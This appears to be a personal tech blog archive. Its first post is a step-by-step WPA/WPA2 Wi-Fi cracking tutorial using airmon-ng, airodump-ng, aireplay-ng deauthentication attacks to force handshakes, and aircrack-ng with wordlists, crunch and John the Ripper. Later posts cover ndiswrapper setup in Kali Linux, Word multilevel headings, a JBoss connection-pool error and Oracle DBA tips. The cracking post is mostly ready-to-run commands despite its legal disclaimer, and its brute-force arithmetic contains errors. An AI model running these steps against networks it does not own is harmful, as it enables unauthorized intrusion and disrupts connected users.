Sunday, November 8, 2015

Brute Force a WPA / WPA2 Wireless Network with Aircrack

Note:

This article is written for educational purposes only. It is illegal to hack a network that does not belong to you. You may get yourself in trouble, say, if the network you are trying to get into, logs packet injections from your machine, the digital signatures you left behind is the traceability lead. Therefore, please do not commit crime.

This test was done on Kali Linux, on VMPlayer. The method described in this article cannot hack a WPA / WPA2 wireless network if there is no client connected. Also, it is difficult to obtain a handshake if the client signal is very weak.

Step 1: Check Your Wireless Adapter

root@kali:~/test# airmon-ng

This command lists your wireless adapter, if you have one. On a virtual machine, you may experience that the wireless adapter cannot be detected. In this case please read how-to-put-wireless-adapter-in-monitor

Step 2: Check for conflicting processes that get in the way

You need to kill those processes because they will cause trouble when you run aireplay-ng, i.e. you may not be able to capture a handshake.

root@kali:~/test# airmon-ng check

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID Name
3179 dhclient
3260 NetworkManager

Step 3: Kill these processes

airmon-ng check kill

Step 4: Put your wireless adapter in monitor mode

airmon-ng start wlan0

Step 5: Pre-scan Available Wireless Network

airodump-ng mon0

This displays a list of wireless networks with some details such as signal strength, channel number, AP mac, network name, connected clients mac addresses, etc.

Jot down the channel and mac address of the network you intend to crack. After that, you can exit by pressing Ctrl-C or q.

Step 5: Monitor and capture Network Packet and Handshake to a File

airodump-ng -c 11 -w captured --bssid <AP mac address> mon0

This will monitor and wait for handshake. The channel is 11 but yours may be different. File prefix is "captured". Just leave it running and do not exit, yet.

Step 6: Injecting Network Packets to Force the Client to Re-Associate with the AP

Open a new terminal and run the command:

aireplay-ng -0 10 -a <AP mac address> mon0

Attack mode -0 is specified for WPA / WPA2 (-1 is only good for WEP). Run this command and take note of handshake signal captured on the other terminal where airodump-ng was executed. Rest for a few seconds in between each attack, until a handshake is captured, then stop both aireplay-ng and airodump-ng (on the other terminal).

This attacks attempt to kick the connected client out. When the AP tries to reconnect with the client, your machine will have the chance to get a handshake, which contains a public key and private key signatures that allow the password to be cracked.

The handshake is captured in a file you specified in airodump-ng, i.e. -w captured. So, the file is "captured-01.cap" if Step 5 is run for the first time. If airodump-ng had exited and run for the 2nd time, the file is "captured-02.cap", so on and so forth. Take note of the file name that contain the handshake.

In the occasion where the client signal is weak, it may be easier by specifying the cilent MAC address:

aireplay-ng -0 10 -a <AP MAC address> -c <client MAC address> mon0

Step 7: Crack the Password

You can do this step on another day without the need to be around the targeted AP network. Notice if the password is long enough, it is very difficult to crack. The following are the reasons why.

Calculating how long you need to run all password combinations by brute force:

Depending on your CPU power, the number of password tests per second varies. If the password has 8 alpha-numeric character combinations, there are 36 possible characters that can fill each character, that makes it 38^8 number of combinations. i.e. 2821109907000 possible combinations! If the CPU power is 1000 passwords per second, you need 89.4 years to completely brute force all passwords!

Therefore, it is encourage to use long passwords and make use of lower case, upper case, numerics, or even symbols such as +, -, %, etc in your password. A 16 character password with lower and upper case, and numerics combinations has a total of 62^16 = 4.77x10^28 combinations. Even with a CPU power of 1 billion passwords per second, you will need 1.5 trillion years to brute force all passwords!

Therefore, the use of a good password list may crack faster, as people tends to be negligent and assigned password that is easy to remember.

Anyways, these are the commands that are commonly used:

By password list:

aircrack-ng -w /mydir/wordlist captured-01.cap

The ability to crack is as good as the quality of the wordlist.

By word crunching:

crunch 6 8 0123pasword | aircrack-ng -a 2 captured-01.cap -e <AP network name> -b <AP mac address> -w -

The AP mac address can be omitted. The crunch command generates passwords combination from 6 to 8 characters using the characters specified "0123pasword". In this case there are a total of 11^6+11^7+11^8 = 235617613 combinations. Need 2.7 days to test all passwords for a 1000 words/sec CPU power.

Word crunching is used if you know some of the characters that are used in the passwords.

man crunch for more options.

By brute force using john the ripper and remember the session:

john --incremental=all --session=MyBruteSession --stdout | aircrack-ng -a 2 -e <AP network name> captured-01.cap -w -

To restore previous session and continue with the last tested password:

john --restore=MyBruteForce | aircrack-ng -a 2 -e <AP network name> captured-01.cap -w -

That's it.

Friday, July 31, 2015

Install Android 4.3 on VMWare Player for Dummies

The followings are quite self explanatory.







































Unlike Android 4.0 on VMWare Player, you need not edit the vmx file in order to get the internet working.





Monday, February 9, 2015

Word 2010: Create Your Own New Multilevel Headings

There are times you wish to create your own multilevel headings such as the Appendix. Example content of document:

1. Level 1 Heading
1.1 Level 2 Heading
1.1.1 Level 3 Heading

2. Level 1 Heading
2.1 Level 2 Heading
2.1.1 Level 3 Heading
2.2 Level 2 Heading
2.2.1 Level 3 Heading
2.2.2 Level 3 Heading
...
...
10 Level 1 Heading
10.1 Level 2 Heading
10.2 Level 2 Heading

Appendix A - Level 1 Appendix Heading
A.1 Level 2 Appendix Heading
A.1.1 Level 3 Appendix Heading

Appendix B - Level 1 Appendix Heading
B.1 Level 2 Appendix Heading
B.1.1 Level 3 Appendix Heading

If you happen to read online reference that says you have to make use of the built-in Headings (i.e. Heading 1, Heading 2, Heading 3,.... Heading 9) in order to benefit the magic properties of multilevel headings and that they do not work well in Appendix, that is not entirely correct.

While there is no harm assigning Heading 1 through Heading 5 for the main body and Heading 6 to Heading 9 for the Appendix. You can actually define an entirely new set of multilevel headings of your own without affecting the built-in headings.

Here's How:

Firstly, start by create a few new paragraph styles for the appendix headings. For example, if you have 3 levels of appendix headings, create 3 new styles and name them as follows:

Appendix 1
Appendix 2
Appendix 3

When creating these styles, choose "Linked (paragraph and character)" for Style Type, and "(no style)" for Style Based On. Choose the correct Outline Level for the paragraph settings.  Configure your favorite fonts, size, colour, etc. Leave the numbering format alone for the moment.

Then, select the text in the document where you wish to assign the heading, Appendix 1. Assign it.

Next, change the numbering format as follows:


Click on the multilevel heading as shown above. This is where you get the multilevel heading features.

The selected text will change to as follow:


Not to worry, as this is the default multilevel heading numbering format.


Then, click on "Define New Multilevel List...". The following will be shown:


Click on the level you wish to modify. In this case, Level 1.

Click on level 1,
  Link Level to style: "Appendix 1"
  Number style for this level: Choose A, B, C,...

Click on level 2,
  Link Level to style: "Appendix 2"
  Number style for this level: 1,2,3...

Click on level 3, Link Level to style: "Appendix 3"
Click on level 4, Link Level to style: "(no style)"
Click on level 5, Link Level to style: "(no style)"
..
Click on level 9, Link Level to style: "(no style)"

The final result will be as follow:


Click OK. It is done. Now you can make use of the Appendix headings you have just created. The built-in Headings 1 to 9 will still work. Enjoy!



Monday, November 3, 2014

How to put a Wireless Adapter in Monitor Mode in Kali Linux within VMWare

The command airmon-ng autodetects which wireless card you have and run the right commands.

A common problem in Kali Linux VM is when you run the airmon-ng command, it returns a blank list:

root@kali:~# airmon-ng


Interface           Chipset               Driver



No wireless adapter is detected! There is nothing wrong with your installation of VMWare or VM. So, if you encounter this problem, do not waste time on the VMWare network settings. It can be NAT or Bridged, does not matter. The default network interface you see in the VM is a virtual Ethernet interface, which is connected to the physical wireless adapter over a bridge. However, the VM has no control of or the visibility to the physical wireless adapter. Hence, airmon-ng does not return anything. There is nothing you can do to bring those network adapters appear when you run the airmon-ng command.

Nevertheless, a VM within VMWare is able to gain control of a USB wireless adapter and be put into monitor mode. You need to install the adapter driver into the Kali Linux VM, though, and make sure the adapter is supported by Kali Linux. In this case, please follow the hardware installation guide supplied by the vendor, which is not covered here.

If you have an adapter that only has Windows drivers, make sure the driver is supported by ndiswrapper (please google by yourself). Kali Linux is not bundled with ndiswrapper, therefore, you have to install ndiswrapper first. Then, use ndiswrapper to install the windows drivers into Kali Linux.

Installing ndiswrapper into Kali Linux

First, download ndiswrapper from sourceforge.net. The file name is somthing like ndiswrapper-1.59.tar.gz.

After the download, unzip it:


root@kali: tar -xzf ndiswrapper-1.59.tar.gz


Then, change directory to the unzipped folder, build and install.


root@kali:~/Desktop/ndiswrapper-1.59# make
..
.. (compiling messages)
..

root@kali:~/Desktop/ndiswrapper-1.59# make install
..
.. (installing messages)
..



This above runs smoothly in Backtrack, but not for Kali Linux. The typical error you may encounter is as below:


root@kali:~/ndiswrapper-1.59# make
make -C utils
make[1]: Entering directory `/root/ndiswrapper-1.59/utils'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory `/root/ndiswrapper-1.59/utils'
make -C driver
make[1]: Entering directory `/root/ndiswrapper-1.59/driver'
make -C /usr/src/linux-headers-3.14-kali1-amd64 M=/root/ndiswrapper-1.59/driver
make[2]: Entering directory `/usr/src/linux-headers-3.14-kali1-amd64'
CC [M] /root/ndiswrapper-1.59/driver/crt.o
/root/ndiswrapper-1.59/driver/crt.c: In function ‘_win_srand’:
/root/ndiswrapper-1.59/driver/crt.c:470:2: error: implicit declaration of function ‘net_srandom’ [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors
make[5]: *** [/root/ndiswrapper-1.59/driver/crt.o] Error 1
make[4]: *** [_module_/root/ndiswrapper-1.59/driver] Error 2
make[3]: *** [sub-make] Error 2
make[2]: *** [all] Error 2
make[2]: Leaving directory `/usr/src/linux-headers-3.14-kali1-amd64'
make[1]: *** [modules] Error 2
make[1]: Leaving directory `/root/ndiswrapper-1.59/driver'
make: *** [driver] Error 2


Fortunately, there is a patched ndiswrapper in GitHub:
https://github.com/Schwartz/ndiswrapper-patched-3.14/

Download the zip file, unzip and overwrite the original ndiswrapper folder, then run "make" and "make install" again. It should work as below:


root@kali:~/Desktop/ndiswrapper-1.59# make
make -C utils
make[1]: Entering directory `/root/Desktop/ndiswrapper-1.59/utils'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory `/root/Desktop/ndiswrapper-1.59/utils'
make -C driver
make[1]: Entering directory `/root/Desktop/ndiswrapper-1.59/driver'
make -C /usr/src/linux-headers-3.14-kali1-amd64 M=/root/Desktop/ndiswrapper-1.59/driver
make[2]: Entering directory `/usr/src/linux-headers-3.14-kali1-amd64'
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/crt.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/hal.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/iw_ndis.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/loader.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/ndis.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/ntoskernel.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/ntoskernel_io.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/pe_linker.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/pnp.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/proc.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/rtl.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/wrapmem.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/wrapndis.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/wrapper.o
  CC [M]  /root/Desktop/ndiswrapper-1.59/driver/usb.o
  AS [M]  /root/Desktop/ndiswrapper-1.59/driver/win2lin_stubs.o
  AS [M]  /root/Desktop/ndiswrapper-1.59/driver/lin2win.o
  LD [M]  /root/Desktop/ndiswrapper-1.59/driver/ndiswrapper.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/Desktop/ndiswrapper-1.59/driver/ndiswrapper.mod.o
  LD [M]  /root/Desktop/ndiswrapper-1.59/driver/ndiswrapper.ko
make[2]: Leaving directory `/usr/src/linux-headers-3.14-kali1-amd64'
make[1]: Leaving directory `/root/Desktop/ndiswrapper-1.59/driver'
root@kali:~/Desktop/ndiswrapper-1.59# make install
make -C driver install
make[1]: Entering directory `/root/Desktop/ndiswrapper-1.59/driver'
mkdir -p -m 755 /lib/modules/3.14-kali1-amd64/misc
install -m 0644 ndiswrapper.ko /lib/modules/3.14-kali1-amd64/misc
/sbin/depmod -a 3.14-kali1-amd64
make[1]: Leaving directory `/root/Desktop/ndiswrapper-1.59/driver'
make -C utils install
make[1]: Entering directory `/root/Desktop/ndiswrapper-1.59/utils'
mkdir -p -m 755 /sbin
mkdir -p -m 755 /usr/sbin
install -m 755 loadndisdriver /sbin
install -m 755 ndiswrapper /usr/sbin
install -m 755 ndiswrapper-buginfo /usr/sbin
make[1]: Leaving directory `/root/Desktop/ndiswrapper-1.59/utils'
mkdir -p -m 755 /usr/share/man/man8
install -m 644 ndiswrapper.8 /usr/share/man/man8
install -m 644 loadndisdriver.8 /usr/share/man/man8



Finally, install the driver:

Copy the windows driver to a folder in Kali Linux.
Change directory to the driver folder, then:


root@kali:~/Desktop# cd Vista64
root@kali:~/Desktop/Vista64# ls
athrxusbext.cat  athrxusb.sys  netathrxusb.inf
root@kali:~/Desktop/Vista64# ndiswrapper -i netathrxusb.inf
installing netathrxusb ...

root@kali:~/Desktop/Vista64# 



Done! airmon-ng command should now detects the network card.

You can now put the USB wireless adapter in monitor mode by running the commands:


root@kali:airmon-ng stop wlan0

root@kali:airodump-ng wlan0





Monday, August 25, 2014

JBoss 4.2 Error: No ManagedConnections available within configured blocking timeout

Symptom:

JBoss Application server hangs after running for some periods of time with the following error mesagge:

org.jboss.util.NestedSQLException: No ManagedConnections available within configured blocking timeout ( 30000 [ms] )

Cause:

Most likely connection pool leakage, i.e. open database connection but not properly close

Solution:

Correct code accordingly in order to close database connection gracefully.

Temporary solution:

Increase the number of pool by editing the <database>-ds.xml file, add the following lines:

    <min-pool-size>0</min-pool-size>
    <max-pool-size>100</max-pool-size>
    <blocking-timeout-millis>30000</blocking-timeout-millis>
    <idle-timeout-minutes>15</idle-timeout-minutes>


Wednesday, September 18, 2013

ORA-12518: TNS:listener could not hand off client connection

Database is Shared Server:

Shutdown the dispatcher and add new dispatcher.

SQL> show parameter dispatchers
SQL> select name from v$dispatcher;
SQL> alter system shutdown immediate 'D001';

Add new dispatcher:

SQL> alter system set DISPATCHERS = '(protocol=tcp)(dispatchers=4)';



Database is Dedicated Server:

PGA is fully allocated for all processes.Check PGA memory allocation.

SQL> SELECT * FROM V$PROCESS ORDER BY PGA_ALLOC_MEM DESC


Kill unnecessary Sessions to free PGA memory.

Or, increase PROCESSES parameter so that it can handle the needed number of processes.

SQL>show parameter processes

SQL>alter system set processes=450 scope=spfile;

Rebounce the database.

Thursday, August 29, 2013

Datapump Expdp "Consistent" Equivalent

Get the last system change number:
SELECT to_char(DBMS_FLASHBACK.GET_SYSTEM_CHANGE_NUMBER,'9999999999999999999') from dual;
Then, datapump export using flashback_scn option:
expdp userid/password DIRECTORY=DATA_PUMP_DIR schemas=userid FLASHBACK_SCN=49552038 dumpfile=’abc.dmp’ logfile='abc.log'

Then import using normal parameters.